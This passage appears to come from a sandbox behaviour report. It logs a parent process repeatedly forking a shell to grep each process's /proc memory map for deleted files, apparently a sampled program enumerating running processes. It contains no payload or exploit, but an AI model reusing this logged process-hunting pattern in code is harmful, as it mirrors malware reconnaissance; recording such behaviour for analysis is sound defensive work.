grep (PID: 6595, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2180/maps

sh New Fork (PID: 6596, Parent: 6240)

grep (PID: 6596, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/219/maps

sh New Fork (PID: 6597, Parent: 6240)

grep (PID: 6597, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2195/maps

sh New Fork (PID: 6617, Parent: 6240)

grep (PID: 6617, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/22/maps

sh New Fork (PID: 6619, Parent: 6240)

grep (PID: 6619, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/220/maps

sh New Fork (PID: 6620, Parent: 6240)

grep (PID: 6620, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2208/maps

sh New Fork (PID: 6621, Parent: 6240)

grep (PID: 6621, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/221/maps

sh New Fork (PID: 6622, Parent: 6240)

grep (PID: 6622, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/222/maps

sh New Fork (PID: 6623, Parent: 6240)

grep (PID: 6623, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2223/maps

sh New Fork (PID: 6624, Parent: 6240)

grep (PID: 6624, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2226/maps

sh New Fork (PID: 6627, Parent: 6240)

grep (PID: 6627, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/223/maps

sh New Fork (PID: 6631, Parent: 6240)

grep (PID: 6631, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2235/maps

sh New Fork (PID: 6634, Parent: 6240)

grep (PID: 6634, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/224/maps

sh New Fork (PID: 6637, Parent: 6240)

grep (PID: 6637, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2242/maps

sh New Fork (PID: 6638, Parent: 6240)

grep (PID: 6638, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/225/maps

sh New Fork (PID: 6639, Parent: 6240)

grep (PID: 6639, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/226/maps

sh New Fork (PID: 6642, Parent: 6240)

grep (PID: 6642, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/227/maps

sh New Fork (PID: 6643, Parent: 6240)

grep (PID: 6643, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2275/maps

sh New Fork (PID: 6644, Parent: 6240)

grep (PID: 6644, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/228/maps

sh New Fork (PID: 6645, Parent: 6240)

grep (PID: 6645, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2281/maps

sh New Fork (PID: 6794, Parent: 6240)

grep (PID: 6794, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2285/maps

sh New Fork (PID: 6797, Parent: 6240)

grep (PID: 6797, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2289/maps

sh New Fork (PID: 6799, Parent: 6240)

grep (PID: 6799, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/229/maps

sh New Fork (PID: 6804, Parent: 6240)

grep (PID: 6804, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2294/maps

sh New Fork (PID: 6809, Parent: 6240)

grep (PID: 6809, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/23/maps

sh New Fork (PID: 6817, Parent: 6240)

grep (PID: 6817, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/230/maps

sh New Fork (PID: 6820, Parent: 6240)

grep (PID: 6820, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2302/maps

sh New Fork (PID: 6822, Parent: 6240)

grep (PID: 6822, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2307/maps

sh New Fork (PID: 6825, Parent: 6240)

grep (PID: 6825, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/231/maps

sh New Fork (PID: 6828, Parent: 6240)

grep (PID: 6828, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/232/maps

sh New Fork (PID: 6831, Parent: 6240)

grep (PID: 6831, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/233/maps

sh New Fork (PID: 6833, Parent: 6240)

grep (PID: 6833, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/234/maps

sh New Fork (PID: 6834, Parent: 6240)

grep (PID: 6834, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/235/maps

sh New Fork (PID: 6842, Parent: 6240)

grep (PID: 6842, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/236/maps

sh New Fork (PID: 6853, Parent: 6240)

grep (PID: 6853, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/237/maps

sh New Fork (PID: 6860, Parent: 6240)

grep (PID: 6860, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/24/maps

sh New Fork (PID: 6864, Parent: 6240)

grep (PID: 6864, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/243/maps

sh New Fork (PID: 6892, Parent: 6240)

grep (PID: 6892, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/248/maps

sh New Fork (PID: 6895, Parent: 6240)

grep (PID: 6895, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/249/maps

sh New Fork (PID: 6897, Parent: 6240)

grep (PID: 6897, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/25/maps

sh New Fork (PID: 6898, Parent: 6240)

grep (PID: 6898, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/250/maps

sh New Fork (PID: 6899, Parent: 6240)

grep (PID: 6899, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/251/maps

sh New Fork (PID: 6901, Parent: 6240)

grep (PID: 6901, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/252/maps

sh New Fork (PID: 6903, Parent: 6240)

grep (PID: 6903, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/253/maps

sh New Fork (PID: 6904, Parent: 6240)

grep (PID: 6904, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/254/maps

sh New Fork (PID: 6910, Parent: 6240)

grep (PID: 6910, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/255/maps

sh New Fork (PID: 6921, Parent: 6240)

grep (PID: 6921, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/256/maps

sh New Fork (PID: 6923, Parent: 6240)

grep (PID: 6923, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/257/maps

sh New Fork (PID: 6925, Parent: 6240)

grep (PID: 6925, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/258/maps

sh New Fork (PID: 6928, Parent: 6240)

grep (PID: 6928, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/259/maps

sh New Fork (PID: 6937, Parent: 6240)

grep (PID: 6937, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/26/maps

sh New Fork (PID: 6938, Parent: 6240)

grep (PID: 6938, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/260/maps

sh New Fork (PID: 6939, Parent: 6240)

grep (PID: 6939, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/261/maps

sh New Fork (PID: 6941, Parent: 6240)

grep (PID: 6941, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/262/maps

sh New Fork (PID: 6944, Parent: 6240)

grep (PID: 6944, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/263/maps

sh New Fork (PID: 6950, Parent: 6240)

grep (PID: 6950, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2637/maps

sh New Fork (PID: 6951, Parent: 6240)

grep (PID: 6951, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/264/maps

sh New Fork (PID: 6952, Parent: 6240)

grep (PID: 6952, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/265/maps

sh New Fork (PID: 6953, Parent: 6240)

grep (PID: 6953, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/266/maps

sh New Fork (PID: 6956, Parent: 6240)

grep (PID: 6956, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/267/maps

sh New Fork (PID: 6957, Parent: 6240)

grep (PID: 6957, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/269/maps

sh New Fork (PID: 6958, Parent: 6240)

grep (PID: 6958, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/27/maps

sh New Fork (PID: 6959, Parent: 6240)

grep (PID: 6959, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/270/maps

sh New Fork (PID: 6960, Parent: 6240)

grep (PID: 6960, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/272/maps

sh New Fork (PID: 6962, Parent: 6240)

grep (PID: 6962, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/274/maps

sh New Fork (PID: 6965, Parent: 6240)

grep (PID: 6965, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2746/maps

sh New Fork (PID: 6966, Parent: 6240)

grep (PID: 6966, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2749/maps

sh New Fork (PID: 6967, Parent: 6240)

grep (PID: 6967, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2761/maps

sh New Fork (PID: 7087, Parent: 6240)

grep (PID: 7087, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/278/maps

sh New Fork (PID: 7088, Parent: 6240)

grep (PID: 7088, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/28/maps

sh New Fork (PID: 7092, Parent: 6240)

grep (PID: 7092, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/281/maps

sh New Fork (PID: 7093, Parent: 6240)

grep (PID: 7093, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/286/maps

sh New Fork (PID: 7098, Parent: 6240)

grep (PID: 7098, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2882/maps

sh New Fork (PID: 7104, Parent: 6240)

grep (PID: 7104, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/29/maps

sh New Fork (PID: 7107, Parent: 6240)

grep (PID: 7107, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/3/maps

sh New Fork (PID: 7108, Parent: 6240)

grep (PID: 7108, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/30/maps

sh New Fork (PID: 7109, Parent: 6240)

grep (PID: 7109, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/3021/maps

sh New Fork (PID: 7112, Parent: 6240)

grep (PID: 7112, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/3088/maps

sh New Fork (PID: 7116, Parent: 6240)

grep (PID: 7116, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/322/maps

sh New Fork (PID: 7118, Parent: 6240)

grep (PID: 7118, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/3236/maps

sh New Fork (PID: 7119, Parent: 6240)

grep (PID: 7119, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/324/maps

sh New Fork (PID: 7121, Parent: 6240)

grep (PID: 7121, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/326/maps

sh New Fork (PID: 7123, Parent: 6240)

grep (PID: 7123, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/327/maps

sh New Fork (PID: 7152, Parent: 6240)

grep (PID: 7152, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/328/maps

sh New Fork (PID: 7153, Parent: 6240)

grep (PID: 7153, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/333/maps

sh New Fork (PID: 7157, Parent: 6240)

grep (PID: 7157, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/346/maps

sh New Fork (PID: 7158, Parent: 6240)

grep (PID: 7158, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/35/maps

sh New Fork (PID: 7160, Parent: 6240)

grep (PID: 7160, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/379/maps

sh New Fork (PID: 7162, Parent: 6240)

grep (PID: 7162, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/4/maps

sh New Fork (PID: 7164, Parent: 6240)

grep (PID: 7164, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/419/maps

sh New Fork (PID: 7166, Parent: 6240)

grep (PID: 7166, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/420/maps

sh New Fork (PID: 7170, Parent: 6240)

grep (PID: 7170, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/4438/maps

sh New Fork (PID: 7171, Parent: 6240)

grep (PID: 7171, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/4444/maps

sh New Fork (PID: 7172, Parent: 6240)

grep (PID: 7172, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/4445/maps

sh New Fork (PID: 7173, Parent: 6240)

grep (PID: 7173, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/4446/maps

sh New Fork (PID: 7174, Parent: 6240)

grep (PID: 7174, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/4447/maps

sh New Fork (PID: 7175, Parent: 6240)

grep (PID: 7175, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/4497/maps

sh New Fork (PID: 7176, Parent: 6240)

grep (PID: 7176, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/4501/maps

sh New Fork (PID: 7177, Parent: 6240)

grep (PID: 7177, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/4504/maps

sh New Fork (PID: 7178, Parent: 6240)

grep (PID: 7178, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/4529/maps

sh New Fork (PID: 7180, Parent: 6240)

grep (PID: 7180, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/491/maps

sh New Fork (PID: 7181, Parent: 6240)

grep (PID: 7181, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/517/maps

sh New Fork (PID: 7182, Parent: 6240)

grep (PID: 7182, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/6/maps

sh New Fork (PID: 7185, Parent: 6240)

grep (PID: 7185, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/6072/maps

sh New Fork (PID: 7186, Parent: 6240)

grep (PID: 7186, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/6184/maps

sh New Fork (PID: 7188, Parent: 6240)

grep (PID: 7188, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/6196/maps

sh New Fork (PID: 7189, Parent: 6240)

grep (PID: 7189, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/6221/maps

sh New Fork (PID: 7190, Parent: 6240)

grep (PID: 7190, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/6222/maps

sh New Fork (PID: 7191, Parent: 6240)

grep (PID: 7191, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/6238/maps

sh New Fork (PID: 7194, Parent: 6240)

grep (PID: 7194, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/6240/maps

sh New Fork (PID: 7196, Parent: 6240)

grep (PID: 7196, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/6246/maps

sh New Fork (PID: 7197, Parent: 6240)

grep (PID: 7197, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/6247/maps

sh New Fork (PID: 7224, Parent: 6240)

grep (PID: 7224, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/6248/maps

sh New Fork (PID: 7329, Parent: 6240)

grep (PID: 7329, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/654/maps

sh New Fork (PID: 7331, Parent: 6240)

grep (PID: 7331, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/655/maps

sh New Fork (PID: 7333, Parent: 6240)

grep (PID: 7333, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/656/maps

sh New Fork (PID: 7338, Parent: 6240)

grep (PID: 7338, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/657/maps

sh New Fork (PID: 7340, Parent: 6240)

grep (PID: 7340, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/658/maps

sh New Fork (PID: 7341, Parent: 6240)

grep (PID: 7341, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/667/maps

sh New Fork (PID: 7342, Parent: 6240)

grep (PID: 7342, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/670/maps

sh New Fork (PID: 7343, Parent: 6240)

grep (PID: 7343, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/674/maps

sh New Fork (PID: 7344, Parent: 6240)

grep (PID: 7344, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/675/maps

sh New Fork (PID: 7345, Parent: 6240)

grep (PID: 7345, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/676/maps

sh New Fork (PID: 7347, Parent: 6240)

grep (PID: 7347, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/677/maps

sh New Fork (PID: 7348, Parent: 6240)

grep (PID: 7348, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/720/maps

sh New Fork (PID: 7349, Parent: 6240)

grep (PID: 7349, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/721/maps

sh New Fork (PID: 7351, Parent: 6240)

grep (PID: 7351, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/759/maps

sh New Fork (PID: 7352, Parent: 6240)

grep (PID: 7352, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/761/maps

sh New Fork (PID: 7353, Parent: 6240)

grep (PID: 7353, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/77/maps

sh New Fork (PID: 7354, Parent: 6240)

grep (PID: 7354, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/772/maps

sh New Fork (PID: 7355, Parent: 6240)

grep (PID: 7355, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/774/maps

sh New Fork (PID: 7356, Parent: 6240)

grep (PID: 7356, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/777/maps

sh New Fork (PID: 7357, Parent: 6240)

grep (PID: 7357, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/78/maps

sh New Fork (PID: 7358, Parent: 6240)

grep (PID: 7358, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/785/maps

sh New Fork (PID: 7359, Parent: 6240)

grep (PID: 7359, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/788/maps

sh New Fork (PID: 7360, Parent: 6240)

grep (PID: 7360, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/789/maps

sh New Fork (PID: 7361, Parent: 6240)

grep (PID: 7361, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/79/maps

sh New Fork (PID: 7362, Parent: 6240)

grep (PID: 7362, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/793/maps

sh New Fork (PID: 7363, Parent: 6240)

grep (PID: 7363, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/796/maps

sh New Fork (PID: 7364, Parent: 6240)

grep (PID: 7364, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/797/maps

sh New Fork (PID: 7365, Parent: 6240)

grep (PID: 7365, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/799/maps

sh New Fork (PID: 7366, Parent: 6240)

grep (PID: 7366, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/80/maps

sh New Fork (PID: 7367, Parent: 6240)

grep (PID: 7367, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/800/maps

sh New Fork (PID: 7368, Parent: 6240)

grep (PID: 7368, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/801/maps

sh New Fork (PID: 7369, Parent: 6240)

grep (PID: 7369, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/81/maps

sh New Fork (PID: 7370, Parent: 6240)

grep (PID: 7370, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/82/maps

sh New Fork (PID: 7371, Parent: 6240)

grep (PID: 7371, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/83/maps

sh New Fork (PID: 7372, Parent: 6240)

grep (PID: 7372, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/84/maps

sh New Fork (PID: 7373, Parent: 6240)

grep (PID: 7373, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/840/maps

sh New Fork (PID: 7374, Parent: 6240)

grep (PID: 7374, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/847/maps

sh New Fork (PID: 7375, Parent: 6240)

grep (PID: 7375, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/85/maps

sh New Fork (PID: 7376, Parent: 6240)

grep (PID: 7376, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/88/maps

sh New Fork (PID: 7377, Parent: 6240)

grep (PID: 7377, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/884/maps

sh New Fork (PID: 7378, Parent: 6240)

grep (PID: 7378, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/89/maps

sh New Fork (PID: 7379, Parent: 6240)

grep (PID: 7379, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/896/maps

sh New Fork (PID: 7380, Parent: 6240)

grep (PID: 7380, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/9/maps

sh New Fork (PID: 7381, Parent: 6240)

grep (PID: 7381, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/904/maps

sh New Fork (PID: 7384, Parent: 6240)

grep (PID: 7384, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/91/maps

sh New Fork (PID: 7385, Parent: 6240)

grep (PID: 7385, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/910/maps

sh New Fork (PID: 7386, Parent: 6240)

grep (PID: 7386, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/912/maps

sh New Fork (PID: 7387, Parent: 6240)

grep (PID: 7387, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/918/maps

sh New Fork (PID: 7388, Parent: 6240)

grep (PID: 7388, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/92/maps

sh New Fork (PID: 7389, Parent: 6240)

